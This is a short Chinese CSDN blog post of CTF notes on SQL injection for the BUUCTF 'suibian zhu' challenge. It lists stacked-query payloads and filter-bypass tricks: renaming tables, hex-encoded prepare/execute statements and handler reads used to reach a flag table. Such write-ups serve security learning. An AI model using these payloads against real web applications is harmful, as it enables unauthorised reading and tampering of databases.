CTF-SQL注入笔记

朋克归零膏

已于 2022-09-28 17:55:24 修改

阅读量465

点赞数

分类专栏： CTF 文章标签： sql mysql

于 2022-09-27 16:19:18 首次发布

本文链接：https://blog.csdn.net/qq_35697696/article/details/127069196

版权

这篇博客详细记录了作者在CTF比赛中遇到的SQL注入问题及其解决方案，包括BUUCTF和极客大挑战2019的LoveSQL。文章提到了堆叠查询、MySQL的prepare执行16进制编码语句以及handler等绕过姿势，并提供了相关payload示例。通过sqlmap和手动注入方法，作者成功识别并利用了注入点。

摘要由CSDN通过智能技术生成

BUUCTF

BUUCTF 随便注

?inject=0' order by 3 --+ 
// 看库
?inject=1';show databases; --+
// 看ctftraining表
?inject=1';use ctftraining; show tables; %23

在这里插入图片描述

?inject=1';use ctftraining; show columns from FLAG_TABLE; --+这里应该不是flag

逐个看

绕过姿势

rename
- 1’; rename table words to word1; rename table 1919810931114514 to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#
prepare from
- select * from 1919810931114514 (encode hex)
- set@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare inject1 from @a;excute inject1;
- 该语句不能同时有set&prepare,随便换个大写即可
handler
- 例子1’; handler FlagHere open as a; handler a read next;#
- payload: 1’;handler 1919810931114514 open as a;handler a read next; #